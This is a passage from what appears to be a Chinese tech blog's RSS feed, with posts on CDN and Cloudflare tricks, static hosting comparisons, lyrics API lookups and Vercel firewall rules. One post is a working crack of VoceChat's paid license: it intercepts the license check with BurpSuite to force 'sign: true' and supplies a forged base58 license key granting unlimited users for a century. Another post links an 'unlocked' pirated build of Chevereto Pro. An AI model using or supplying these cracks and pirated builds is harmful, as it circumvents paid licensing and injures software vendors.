<p><code>https://music.163.com/#/song?id=29812004&amp;uct2=U2FsdGVkX1+0Ic0zSL7yd7aZMm+xya0r1rUmiRUO5Us=</code></p>
|
||
<p>其中的 <code>id=29812004</code> 中的值就是我们的歌曲ID</p>
|
||
<p>接下来拼接URL</p>
|
||
<pre><code>https://music.163.com/api/song/media?id=29812004
|
||
</code></pre>
|
||
<p>访问就得到歌词时间戳啦</p>
|
||
<pre><code>{"songStatus":1,"lyricVersion":44,"lyric":"[by:月餖]\n[00:19.30]The clock stopped ticking forever ago\n\n[00:23.300]How long have I been up?\n[00:25.300]I don't know.\n[00:26.300]I can't get a grip,\n[00:28.300]But I can't let go\n[00:30.300]There wasn't anything\n[00:31.300]To hold onto though...\n[00:33.300]Why can't I see?\n[00:35.300]Why can't I see?\n[00:37.300]All the colors that you see?\n[00:40.300]Please, Can I be,\n[00:42.300]Please, Can I be\n[00:44.300]Colorful and free?\n[00:47.300]WHAT THE HELL'S GOING ON?!\n[00:48.300]CAN SOMEONE TELL ME PLEASE--\n[00:50.300]WHY, I'M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[00:53.300]I'M black, THEN I'M white!!\n[00:55.300]NO!!!\n[00:56.300]SOMETHING ISN'T RIGHT!!\n[00:57.300]MY ENEMY'S INVISIBLE, I DON'T KNOW HOW TO FIGHT!!\n[01:01.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[01:04.300]WHEN I'M UP AGAINST\n[01:05.300]THE ECHO IN THE MIRROR!!\n[01:08.300]ECHO!!\n[01:14.300]\n[02:23.300]I'm gonna burn my house down,\n[02:27.300]Into an ugly black.\n[02:28.300]I'm gonna run away, Now\n[02:31.300]And never look back.\n[02:32.300]I'm gonna burn my house down,\n[02:34.300]Into an ugly black.\n[02:35.300]I'm gonna run away, Now\n[02:37.300]And never look back.\n[02:39.300]I'm gonna run away down,\n[02:41.300]I'm gonna run away.\n[02:42.300]I'm gonna run away, Now\n[02:44.300]I'm gonna run away\n[02:53.300]I'm gonna burn my house down.\n[02:54.300]And never look back.\n[02:56.300]And never look back.\n[02:58.300]AND NEVER LOOK BACK!!\n[02:59.300]WHAT THE HELL'S GOING ON?!\n[03:01.300]CAN SOMEONE TELL ME PLEASE--\n[03:03.300]WHY, I'M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:06.300]I'M black, THEN I'M white!!\n[03:08.300]NO!!!\n[03:08.300]SOMETHING ISN'T RIGHT!!\n[03:10.300]MY ENEMY'S INVISIBLE, I DON'T KNOW HOW TO FIGHT!!\n[03:13.300]WHAT THE HELL'S GOING ON?!\n[03:15.300]CAN SOMEONE TELL ME PLEASE--\n[03:17.300]WHY, I'M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:20.300]I'M black, THEN I'M white!!\n[03:21.300]NO!!!\n[03:22.300]SOMETHING ISN'T RIGHT!!\n[03:23.300]MY ENEMY'S INVISIBLE, I DON'T KNOW HOW TO FIGHT!!\n[03:27.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:31.300]WHEN I'M UP AGAINST\n[03:32.300]THE ECHO IN THE MIRROR!!\n[03:34.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:37.300]WHEN I'M UP AGAINST\n[03:39.300]THE ECHO IN THE MIRROR!!","code":200}
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/4216b634-16a4-434a-9ea7-cf8170805437.CJyBe4zS.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>记录人生中第一次破解软件!FKvocechat!</title><link>https://blog.acofork.com/posts/fuck-vocechat/</link><guid isPermaLink="true">https://blog.acofork.com/posts/fuck-vocechat/</guid><description>感兴趣的可以先去voce.chat购买一个Pro版本后再阅读此文~本文也是一个使用REST API通信的软件通用的破解教程</description><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>前因</h1>
|
||
<p>可以直接看 <a href="https://info.php.afo.im/index.php/archives/12/">记录被voce.chat坑了350 - 屮蛋Blog</a></p>
|
||
<h1>正版激活的原理?</h1>
|
||
<p>一般来说。大部分授权系的软件会将你的授权文件首先经过加密,然后发送到授权服务器,等待授权服务器返回一个正确的状态,然后激活</p>
|
||
<h1>如何伪造这个正确的状态?</h1>
|
||
<p>大部分软件的授权通信是通过后端进行的(但是vocechat不一样,它在前端🤣),我们需要捕获软件向授权服务器发送的授权请求以及授权服务器返回的正确状态</p>
|
||
<p>假如你发送一个有效的许可证,得到 <code>check: true</code> 这个响应,同时软件本体显示 <code>已激活</code> 。然后发送一个无效的许可证,得到 <code>check: false</code> 这个响应,同时软件本体显示 <code>许可证无效</code> 。那么我们可以非常简单的去破解,只需要让对方服务器无论对软件发送的任意许可证都返回 <code>check: true</code> 即可。</p>
|
||
<p>这涉及到响应体修改,需要使用第三方软件,推荐 <code>BurpSuite</code></p>
|
||
<blockquote>
|
||
<p>上面的情况是一个最简单的授权激活方案。真实情况下可能授权服务器并不会返回一个明确的值,会返回一串密文,然后软件进行解密得到授权可信性信息。如果你使用的软件并未开源,后续的一系列操作就看你造化了</p>
|
||
</blockquote>
|
||
<h1>正片,怎么破解VoceChat?</h1>
|
||
<blockquote>
|
||
<p>不需要你有一个正版许可证,因为我花350买了😭</p>
|
||
</blockquote>
|
||
<p>部署完毕VoceChat后,进入授权界面开启浏览器的DevTools,如图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/df39698c-7a0f-4eda-9b74-47cec05faaf2.QOv5q9ze.webp" alt="" /></p>
|
||
<p>设置你的 <code>BurpSuite</code> 软件,全局替换 <code>"sign": false</code> 为 <code>"sign": true</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/5d34cbe2-08e9-40ea-95e4-64c976d5de9b.C_m_LZY3.webp" alt="" /></p>
|
||
<p>点击手动更新,上传如下内容</p>
|
||
<pre><code>LkA5K1paaxyiNckLwYxdektr64uk6zFs322ZAXDp4aQWkTNcY9ztKKFBwpPbonS3TeFTnveHi6w5VR1MVLL4WyEw3QTfHuitLcVkQFjYZoiQumdQ4XPTN9Xo5hwdEZwCmb7rSus1Sg51b87HjRFZEGHSYYUoqRZPhte1sqBxXdRqwpvLubkhvH4kPB4PXddcdLj2bmXSF7Ww3UZ3Sp6LvueXGw3GggDkgKDP4C7466VVhX6gPBZnaQNovX2G5ugnuN9B6uUeeg63jDSVFnZRPF1bZUxPM5cqdA6U399x8uzEpamhMTMkT3ZiQmVerjszsr3vB8K5DvwKXYp6qKtuna5MgQMC4oFKMNKCSPg7F4Eox8s61i1yjtE33JgxXqrwqkJYqDfqQv1La5h3mYnu6PLDcmmgSEuUHaetzbcEfRJrzi4KwiZwmy4kX6RjEp12KjEvVdS7uwd8wEYjiohXFPG2WRhLe9Cz2oLpsy15ssa8Y34EUVbABryKiqv6xpdb8ujiiucyvybAtgsurnYv3D8eRGWZyttnBWfcqWnXWFZvFZx4ZtuW6ML7ZEcNpM3qcdW8mU8L7Jg2C1so1dFE2phwtLpFyCNwSK8QbPFwdg3Fr4BbMDE8Yq5UPwAQrMtEcAJ1nQyDTZSJa4n2CTC3Lo48jHdbVWZYTejfD2a4y4sJxwRTZQkgs4Jx3kAeepAM5weLfq9ogBY4VWRwjCuNJyt1GoVRmhRs7ZvqNTdBvhRx8LSo6cKFx6LZWPZP7q5Pefo3qmof9QdTYU6PGWQNXR5fp7vc
|
||
</code></pre>
|
||
<p>然后你就能得到</p>
|
||
<p><img src="https://blog.acofork.com/_astro/07686efa-5646-4116-bb96-c2d856b4811e.BrsaMPsu.webp" alt="" /></p>
|
||
<h1>原理剖析</h1>
|
||
<p>VoceChat是前端验证(没绷住),刚才给你们的内容是一个经过base58编码后的内容,解码后为</p>
|
||
<pre><code>*,999999,2025-07-16T12:00:03.675696030+00:00,2125-07-16T00:00:00+00:00,266c90ae11f5d0c2f7a42f29108cc4c6480d6c6d16c561adba7d6ff28aab54eaa7236e708efdfd9315a9a88d88709fae5c3029129494d16470121835aca6b9280c41d5c5f73a78d70c8231a8f66b9dbcd513629dd17456d771d2d0caa670208bdcacdf51fca89204b300b35a123fd99978754713e60ec50dcb7ddb5c64e129488250feca1dd52a258bcbf8d6dd8a93601e0f103c8cc457c4da16641777f9d0a440796af0ad32d3551e406b56e129bd40ac19e88423b645e732e991344781a235b7f83a40190c80dbab1ed56259cab296e5ec183228dfd49c0574d1b535b77954542636c0ae5c05e8f542007c608fe0634bcfd8dfabacdf152c006e14c3d30975
|
||
</code></pre>
|
||
<p>一共有4个字段</p>
|
||
<p><code>*</code> 即被授权的域名,这里填 <code>*</code> 就是所有域名的意思。如果你从官方买还只能绑定一个域名🤣。如果你想伪造的更完美就把 <code>*</code> 改为你正在用VoceChat的域名即可</p>
|
||
<p><code>999999</code> 为用户数限制,前端会显示为 <code>No Limit</code></p>
|
||
<p><code>2025-07-16T12:00:03.675696030+00:00</code> 为授权开始日期</p>
|
||
<p><code>2125-07-16T00:00:00+00:00</code> 为授权结束日期</p>
|
||
<p><code>266c***975</code> 似乎是一个验证码,类似身份证的最后一位验证位,但是貌似不起作用😂</p>
|
||
<h1>那我花350买的授权谁给我补啊🤣</h1>
|
||
<p><img src="https://blog.acofork.com/_astro/7fd942fe-da57-4496-8b85-e5db6057705b.DVEQAeYI.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>还在用Cloudflare传统优选?来看看Cloudflare Byoip!</title><link>https://blog.acofork.com/posts/cf-byoip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cf-byoip/</guid><description>Cloudflare Byoip是一些用户将自有IP托管给Cloudflare,使其接入Cloudflare全球网络,大部分IP质量比官方IP好得多,但,代价是什么呢?</description><pubDate>Tue, 22 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>这是什么</h1>
|
||
<p>Cloudflare Byoip,即如果用户自己拥有一个IP、IP段,可以将其托管给Cloudflare,并使其受益于Cloudflare全球网络的加速与安全</p>
|
||
<p>人话讲就是,有一些IP不直接隶属于Cloudflare,但是我们CNAME到这个IP后仍然可以正常访问到我们部署在Cloudflare上的服务。这些IP可能并不是Anycast,但是国内延迟可能会明显优于Cloudflare的官方IP段</p>
|
||
<h1>如何找到Cloudflare Byoip?</h1>
|
||
<p>可以前往 <a href="https://ipregistry.co/AS209242#ranges">AS209242 Cloudflare London, LLC details | Ipregistry</a></p>
|
||
<p>尝试使用ITDog强制绑定IP访问你的Cloudflare服务,不返回403即可</p>
|
||
<blockquote>
|
||
<p>我这里返回404是正常的,因为 r2.afo.im 直接连接到Cloudflare R2对象存储,直接访问就是404</p>
|
||
</blockquote>
|
||
<p><img src="https://blog.acofork.com/_astro/838f685e-3913-4b21-995e-5ee149f4bffa.C6rz-Z-Q.webp" alt="" /></p>
|
||
<p>需要注意,有一些Byoip可能会强制跳转到它自己的网站。需要查看ITDog的测试日志是否有重定向,别让你的网站成为他人的引流站</p>
|
||
<h1>可以长久使用吗?</h1>
|
||
<p>这些Byoip固然比Cloudflare官方IP段质量更好,但如果你真的要用,请设置好一个机器定时筛选不可用的IP,以及添加一些Cloudflare官方IP段,防止您的服务宕机</p>
|
||
</content:encoded></item><item><title>国内对象存储免流量费?Cloudflare带宽联盟究竟是什么?</title><link>https://blog.acofork.com/posts/cloudflare-bandwidth-alliance/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cloudflare-bandwidth-alliance/</guid><description>Cloudflare带宽联盟是一个多云服务商联合构建的服务体系,在指定的云服务商中,如果流量通过Cloudflare路由则不收取流量费用,用户仅需要支付存储费用</description><pubDate>Tue, 22 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>这是什么</h1>
|
||
<p>Cloudflare带宽联盟(Bandwidth Alliance) 由一群具有前瞻性思维的云服务和网络公司组成,致力于为共同客户降低或免除数据传输(带宽)费用。</p>
|
||
<p>人话:你买的阿里云OSS,腾讯云COS套上CF就可以免流量费</p>
|
||
<h1>具体哪些服务支持免流量费?</h1>
|
||
<p>可以前往 <a href="https://www.cloudflare.com/zh-cn/bandwidth-alliance/">Cloudflare云服务_数据传输_高速云数据传输服务_|Cloudflare中国官网 | Cloudflare</a> 查看</p>
|
||
<p>截止到文章发布日,这些服务支持</p>
|
||
<p><img src="https://blog.acofork.com/_astro/e04c6bee-efc2-4998-83aa-aeacc80e6908.C_pNwk-Y.webp" alt="" /></p>
|
||
<p>在这里可以看到,如果您每月需要传输1TB的流量,Cloudflare将为您每月节省如此多的美刀</p>
|
||
<p><img src="https://blog.acofork.com/_astro/3ac81964-bb93-4528-921f-d801a66cb72d.BHBgCAWF.webp" alt="" /></p>
|
||
<h1>如何使用?</h1>
|
||
<p>假如您有一个阿里云OSS实例,正常来说如果您需要绑定自定义域名,需要CNAME到阿里云的Endpoint,如果您恰好使用Cloudflare NS服务器托管您的域名,只需要打开小黄云即可。</p>
|
||
<p>Cloudflare将托管您的阿里云OSS流量,从Cloudflare出口的流量将不收取流量费用</p>
|
||
<p>基于阿里云5G内存储费用免费的政策,您可以白嫖5G的对象存储</p>
|
||
<h1>注意事项</h1>
|
||
<p>永远不要泄露您的源站,也就是上文所说的阿里云OSS Endpoint,如果有人发现了您的源站,这些流量不从Cloudflare出口,您将会被收取费用</p>
|
||
<p>当然,大部分对象存储服务商支持配置私有访问,详细规则和使用方法请咨询各方客服</p>
|
||
</content:encoded></item><item><title>都5202年了,还有人不会自建自己的Cloudflare/EdgeOne等各种CDN的优选?</title><link>https://blog.acofork.com/posts/self-host-fastip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/self-host-fastip/</guid><description>自建各大CDN服务的优选域名非常简单,只需要先这样,再这样...但是踩坑的地方也不少...</description><pubDate>Tue, 22 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>基本思路</h1>
|
||
<p>想要做一个优选域名,我们首先需要筛选那些质量好的IP</p>
|
||
<p>筛选到质量好的IP后,通过各大云解析DNS厂商更新指定优选域名的DNS解析</p>
|
||
<p>最后,将你的域名投入使用,测试优选后效果</p>
|
||
<h1>如何筛选到质量好的IP?</h1>
|
||
<p>假设你要提高国内的访问质量,我们肯定需要国内的机子,如果自家有NAS就再好不过了</p>
|
||
<p>如果你想要三网都优选,那么只有你一台机子是不够的,需要同时拥有电信,移动,联通三网的机子去做IP筛选。如果你要做更高级的地域优选,那就...把每个省的三网机子都拿到手?</p>
|
||
<p>有了测试机,接下来我们就需要编写测试脚本</p>
|
||
<p>首先我们要知道一个CDN厂商的IP段是什么,这里以Cloudflare为例</p>
|
||
<p>我们搜索 <code>Cloudflare IP段</code> 即可找到</p>
|
||
<p><img src="https://blog.acofork.com/_astro/9e79e4ab-ce0c-434a-84f7-3b8a9f3a0886.C4NrK1Ck.webp" alt="" /></p>
|
||
<p>对于其他CDN,他们可能并没有直接在网页上公开IP,你需要自行寻找客服咨询</p>
|
||
<p>我们得到IP段后,接下来就是编写实际的测试逻辑</p>
|
||
<p>我这边仅推荐通过Curl+Resolve实现强制绑定IP访问业务域名然后看返回的状态码正不正常。</p>
|
||
<p><strong>注意,这种方案及其考验您的测试机、路由器、ISP、对端服务器的性能!</strong></p>
|
||
<p>但这也是最稳妥的测试方法,主播已经见过了太多TCPing 443通,https访问418或者ping得通,TCPing不通的稀奇古怪CDNIP。请保证您的测试方法筛选到的IP能正常访问到您的访问,避免您的服务宕机</p>
|
||
<p>线程不必拉太高,针对于Cloudflare这样有 150w IP的CDN,我们可以仅测试C段,也就是测试完 <code>104.18.91.0</code> 直接测试 <code>104.18.92.0</code> 这样可以节省时间,只需要测5000多个IP</p>
|
||
<p>最终,我们得到了一组优选IP</p>
|
||
<h1>对接华为云云解析DNS</h1>
|
||
<p>为什么推荐华为云?</p>
|
||
<p>无他,因为仅华为云一家支持<strong>单解析单次记录值支持50个IP</strong>、<strong>可以创建多个同名解析</strong>以及<strong>支持仅缓存DNS解析1s(TTL=1)</strong></p>
|
||
<p>受益于华为云的这些功能,我们个人用户也可以做到一个域名下面绑定几万个IP(虽然IP不是越多越好)</p>
|
||
<p>推荐使用海外版,<strong>不需要实名认证</strong></p>
|
||
<p>之后通过API文档自行折腾一下API添加DNS解析即可</p>
|
||
<h1>后期维护</h1>
|
||
<ol>
|
||
<li>
|
||
<p>如果你要做三网优选请添加一个默认解析线路,保证您在个别线路宕机时对应线路的用户不会遇到服务宕机</p>
|
||
</li>
|
||
<li>
|
||
<p>每个CDN厂商的IP段可能会不定时变更,请勤查多看,及时更换失效IP</p>
|
||
</li>
|
||
<li>
|
||
<p>如果遇到服务异常无法得到优选IP,请不要在脚本中编写危险逻辑,如删除所有解析。这会导致大批量服务宕机</p>
|
||
</li>
|
||
<li>
|
||
<p>优选并不是主流做法,如果您的站点被攻击,使用自定义CNAME或者IP会导致您的CDN服务商无法为您进行IP调度,高质量IP将被持续攻击,您的CDN服务商可能会采取强制措施如:<strong>关停您的业务,封禁您的账号</strong>等操作来隔断对方的攻击。当您认为您的站点被攻击时请及时切换到官方为您分配的CNAME或IP</p>
|
||
</li>
|
||
</ol>
|
||
</content:encoded></item><item><title>教你搭建Chevereto这个超级强大的图床!</title><link>https://blog.acofork.com/posts/chevereto/</link><guid isPermaLink="true">https://blog.acofork.com/posts/chevereto/</guid><description>被宝塔开心版的站长推荐了Chevereto这个图床,刚好刚刚嫖了个免费的虚拟主机,让我们开始折腾!</description><pubDate>Wed, 16 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>视频教程</h1>
|
||
<p>https://b23.tv/E8Z34KM</p>
|
||
<h1>正式开始</h1>
|
||
<p>资源: https://r2.2x.nz/chevereto_4.3.6-Pro_unlock.zip (感谢宝塔开心版站长!)</p>
|
||
<p>使用 <strong>PHP 8.1.29 &amp; MySQL 8.0.36</strong> 创建一个网站,然后将我们刚刚下载的ZIP上传到站点根目录并解压</p>
|
||
<p>你就会得到这一坨</p>
|
||
<p><img src="https://blog.acofork.com/_astro/dcb4d5ec-412f-4008-980b-b4f4ac1bc2d2.CJE4ReQ9.webp" alt="" /></p>
|
||
<p>这里开始分支!如果你是Apache请什么都不要动,它会自动检测 <code>.htaccess</code> 。如果你是Nginx请配置 <code>nginx.txt</code> 里面的伪静态规则</p>
|
||
<p>然后根据原 <code>教程.txt</code></p>
|
||
<pre><code>PHP 需要 8.1 以上
|
||
|
||
需要以下PHP扩展:
|
||
fileinfo
|
||
imagemagick
|
||
exif
|
||
|
||
如果是宝塔 还得删除 PHP 禁用函数
|
||
putenv
|
||
proc_open
|
||
|
||
|
||
MYSQL 需要 8.0 以上
|
||
|
||
伪静态需要使用我提供的 nginx.txt 里面的
|
||
</code></pre>
|
||
<p>如果你用的虚拟主机跟博主一样,也是ispmanager,请这样设置PHP</p>
|
||
<p><img src="https://blog.acofork.com/_astro/e4bc4d2e-fc42-49bb-b161-92e86f0c6d12.DlNIWQXT.webp" alt="" /></p>
|
||
<p>一切就绪,访问你的站点进行Chevereto的安装向导</p>
|
||
<h1>疑难解答</h1>
|
||
<p>如果出现问题,请尝试以管理员身份登录Chevereto,在管理员设置 -&gt; 系统中开启调试模式。这样设置后,Chevereto在出现错误就会告诉你具体发生了什么问题</p>
|
||
<p><img src="https://blog.acofork.com/_astro/00c8ab83-d41c-4ca3-a14a-4a36f0f77b67.u5byI__4.webp" alt="" /></p>
|
||
<p>如果我连系统设置都进不去?请自行找你的PHP Error Log来分析问题</p>
|
||
<h1>我搭建好的</h1>
|
||
<p>https://chevereto.php.afo.im/upload</p>
|
||
<p>登录后查看所有图片:</p>
|
||
<p>https://chevereto.php.afo.im/explore/images</p>
|
||
</content:encoded></item><item><title>我用Claude10分钟写了个六子棋...?</title><link>https://blog.acofork.com/posts/sixqi-py/</link><guid isPermaLink="true">https://blog.acofork.com/posts/sixqi-py/</guid><description>本来是不想写这种看起来就很简单的项目的,奈何群u苦苦哀求,只好实现</description><pubDate>Mon, 14 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>前情提要</h1>
|
||
<p>本来大晚上被干醒了</p>
|
||
<p>准备吃点东西睡回笼觉</p>
|
||
<p>顺便在QQ群吹水</p>
|
||
<p>然后被委托做一个<strong>神经小项目</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/29afe2b7-db53-4707-81ef-173befb84a06.8QCm3oKo.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/f7b3b7b6-a462-4c1a-b8cf-665cc4df824c.CzV9YPIY.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/0d0b13c2-e2d5-4394-b7fd-48af6277869c.BgqisNES.webp" alt="" /></p>
|
||
<p>于是就...</p>
|
||
<h1>开整!</h1>
|
||
<p>首先使用最熟悉的Python Flask框架!</p>
|
||
<p>然后使用最简单的内存数据库!</p>
|
||
<p>然后开始调教AI!</p>
|
||
<p><s>这里本想用JSON存的但是聪明小AI最终交付的仍然是内存存储</s></p>
|
||
<p><img src="https://blog.acofork.com/_astro/1d62004f-ed07-4ced-be59-63bb4dd03b2d.DlALp2Ah.webp" alt="" /></p>
|
||
<p>然后就写出来了!(<s>并非,总共问了7次</s></p>
|
||
<h1>上线!</h1>
|
||
<p>现已可在 https://sixqi.afo.im/ 游玩!</p>
|
||
<p>开源: <a href="https://github.com/afoim/sixqi">GitHub - afoim/sixqi</a></p>
|
||
<p><img src="https://blog.acofork.com/_astro/1416208a-b44c-40b7-a1ba-743e8a28d3bc.DW5al-5E.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>N款CDN/静态托管服务商的优缺点比较</title><link>https://blog.acofork.com/posts/static-web/</link><guid isPermaLink="true">https://blog.acofork.com/posts/static-web/</guid><description>Serverless服务有很多,静态托管就是重中之重,来看看谁最稳定快速</description><pubDate>Mon, 14 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1><a href="https://www.netlify.com">Netlify</a></h1>
|
||
<p>注册门槛高,需要使用谷歌邮箱注册。支持IPv6回源。用量限制较宽松,仅有带宽和构建时间限制。 <strong>我认为是免费计划里最快的CDN!并且限制很少!</strong></p>
|
||
<blockquote>
|
||
<p>需要注意,构建时间是每月限制。但是流量限制较为宽松</p>
|
||
</blockquote>
|
||
<p><img src="https://blog.acofork.com/_astro/282ad19c-f971-4f92-9096-6e75308205c5.Dj4aVBNZ.webp" alt="" /></p>
|
||
<p>因为节点禁Ping,所以这里用Tcping结果展示</p>
|
||
<p><strong>推荐CNAME:</strong> apex-loadbalancer.netlify.com</p>
|
||
<p><img src="https://blog.acofork.com/_astro/e11f4d07-4135-411e-943e-cf27690bc9c7.DILmpu3z.webp" alt="" /></p>
|
||
<h1><a href="https://vercel.com">Vercel</a></h1>
|
||
<p>零成本用上。注册无门槛,延迟良好。用量限制较严格。仅支持IPv4回源。默认的 <code>*.vercel.app</code> 在国内会被SNI阻断,需要绑定自己的域名</p>
|
||
<blockquote>
|
||
<p>Vercel每天可以构建100次,每次构建时间不得超过45分钟</p>
|
||
</blockquote>
|
||
<p><strong>推荐IP:</strong> 76.76.21.21</p>
|
||
<p><img src="https://blog.acofork.com/_astro/14654577-5c25-4136-bb06-9e10d1945ae2.CZNQ5Cd8.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/eb1ef62c-f50c-4f89-a287-c74e18353b9c.CKAJ6yog.webp" alt="" /></p>
|
||
<h1><a href="https://edgeone.ai">EdgeOne CDN</a></h1>
|
||
<p>目前处于内测,需要兑换码。获取方式前往 <a href="https://edgeone.ai/zh/redemption">腾讯云EdgeOne免费计划兑换码 - 立即体验</a> 。无流量和请求数限制。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/ed25c33f-5719-44b5-844e-62ac73eadfef.BmyvSiLc.webp" alt="" /></p>
|
||
<p>支持<strong>高级回源设置</strong></p>
|
||
<p><img src="https://blog.acofork.com/_astro/a1517d8e-1664-4819-ba08-d78ae13299a4.C_6H7nP_.webp" alt="" /></p>
|
||
<h2>全球可用区(不含中国大陆)</h2>
|
||
<blockquote>
|
||
<p>本人博客目前使用的CDN</p>
|
||
</blockquote>
|
||
<p>默认提供的CNAME延迟一般。下图是使用了本人的HK优选: eo.072103.xyz(注: EdgeOne Page不可用)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/b2937ed2-0f8d-4179-a9b5-b465902ca9ab.DqjmBSRk.webp" alt="" /></p>
|
||
<h2>EdgeOne CDN 中国大陆可用区</h2>
|
||
<p>需要<strong>实名认证</strong>,需要<strong>域名备案</strong></p>
|
||
<p>默认CNAME可用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/c44674d3-d37e-4f00-a7ee-cdac7798b293.CH3qv5Em.webp" alt="" /></p>
|
||
<h1><a href="https://www.cloudflare.com/">Cloudflare</a></h1>
|
||
<p>无流量和请求数限制。<strong>无法被打死</strong></p>
|
||
<p><a href="/posts/record/#cloudflare-%E4%BC%98%E9%80%89%E5%9F%9F%E5%90%8D">戳我查看优选域名</a></p>
|
||
<p>下图使用本人的分流优选: fenliu.072103.xyz</p>
|
||
<p><img src="https://blog.acofork.com/_astro/f0785c5d-b31a-40d1-9da9-ac50a94f6b0a.DaPCEqw-.webp" alt="" /></p>
|
||
<h1><a href="https://render.com">Render</a></h1>
|
||
<p>注册简单,具有严格的用量限制</p>
|
||
<p><img src="https://blog.acofork.com/_astro/0bccb1b9-3fe1-49f0-a255-0805fc0ee35c.x5zGmp0s.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2b6104d5-9cee-4e2b-adb5-9aefe02240d2.buC3mSKp.webp" alt="" /></p>
|
||
<h1><a href="https://pages.github.com/">Github Page</a></h1>
|
||
<p>需要使用Github Action发布。<strong>中国大陆大部分地区会间歇性阻断</strong>,不推荐使用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/efccadbf-bc70-4444-bb48-8399cf881617._VpX_ZqP.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>利用Cloudflare Page提供的重定向功能实现无损耗、不限数量的静态重定向!</title><link>https://blog.acofork.com/posts/cfpage-redirect/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cfpage-redirect/</guid><description>Cloudflare的重定向规则非常强大,但是如果直接使用重定向规则创建批量重定向会消耗很多的配额</description><pubDate>Sun, 13 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>快速上手!</h1>
|
||
<p>直接 Fork我的 <a href="https://github.com/afoim/Redirect_Group">仓库</a> 。</p>
|
||
<p>接着将该仓库连接到Cloudflare部署Worker或Page,然后绑定你的域名</p>
|
||
<p><img src="https://blog.acofork.com/_astro/0c99399a-5d25-4372-9f9b-79767c32d150.CHz_CAev.webp" alt="" /></p>
|
||
<p>接着更改 <code>_redirects</code> 内的文件</p>
|
||
<p><img src="https://blog.acofork.com/_astro/f9476b1d-b047-441b-a742-58124032a91b.Bch3TlFx.webp" alt="" /></p>
|
||
<p>例如:</p>
|
||
<pre><code>/ https://www.afo.im/ 301
|
||
/test/* https://test.test/test/:splat 302
|
||
</code></pre>
|
||
<p>则意味着</p>
|
||
<p>访问 <code>/</code> 301 永久重定向到 <code>https://www.afo.im/</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/3f49855c-6835-423d-805c-4758f232d136.BNHp_D2Z.webp" alt="" /></p>
|
||
<p>访问 <code>/test/*</code> 302 临时重定向到 <code>https://test.test/test/*</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/f018f75a-83ae-435e-9fce-d81d331f6d2f.Cht4Uqbq.webp" alt="" /></p>
|
||
<p>已经非常强大了。而且不占用重定向规则配额也不耗费Worker请求数!</p>
|
||
</content:encoded></item><item><title>配置Vercel让ITDog测试全部403!</title><link>https://blog.acofork.com/posts/vercel-deny/</link><guid isPermaLink="true">https://blog.acofork.com/posts/vercel-deny/</guid><description>很讨厌别人用ITDog等拨测服务疯狂测试你的站点?拒绝他们!</description><pubDate>Thu, 10 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>配套视频</h1>
|
||
<p>https://www.bilibili.com/video/BV1w7GTzMEy7</p>
|
||
<h1>获取ITDog等拨测服务的IP</h1>
|
||
<blockquote>
|
||
<p>因为Vercel不支持IPv6,所以我们只需要获取v4IP</p>
|
||
</blockquote>
|
||
<ul>
|
||
<li>
|
||
<p>如果你有VPS,直接写一个Py脚本创建一个HTTP服务器记录IP去重即可</p>
|
||
</li>
|
||
<li>
|
||
<p>如果你只有家里云,可以使用Cloudflare Tunnel,然后获取 <code>CF-Connecting-IP</code> 来曲线救国</p>
|
||
</li>
|
||
</ul>
|
||
<p>结论,你已经获得了你要屏蔽的拨测网站的IP</p>
|
||
<p><img src="https://blog.acofork.com/_astro/91daff1e-b248-4f90-9b97-31bff7fa2c14.3ICRx5ym.webp" alt="" /></p>
|
||
<h1>创建Vercel API Token</h1>
|
||
<p>前往 https://vercel.com/account/settings/tokens 创建一个Token</p>
|
||
<h1>抓取防火墙创建/更新接口</h1>
|
||
<p>前往 https://vercel.com/your-projects/fuwari/firewall</p>
|
||
<p>新增规则</p>
|
||
<p><img src="https://blog.acofork.com/_astro/84645ada-92bd-42f7-827f-96a93bd54997.DiE44kEU.webp" alt="" /></p>
|
||
<p>随便写点东西然后抓包</p>
|
||
<p><img src="https://blog.acofork.com/_astro/0f60d87a-df45-42d3-a692-c172982899cc.BcSuupFc.webp" alt="" /></p>
|
||
<pre><code>PATCH https://vercel.com/api/v1/security/firewall/config/draft?projectId=prj_UfvbpIvawjL2eAETAiZT7hPLR8W2&amp;teamId=team_lemndzHQNJAcTipIF6elB5Md
|
||
</code></pre>
|
||
<p>将主机名 <code>vercel.com</code> 改为 <code>api.vercel.com</code> 。并携带请求头 <code>Authorization</code> ,值为刚才获取的Token</p>
|
||
<p>复制刚才的响应并且稍作修改进行测试,看是否能更新成功</p>
|
||
<p>可以看到已经200 OK</p>
|
||
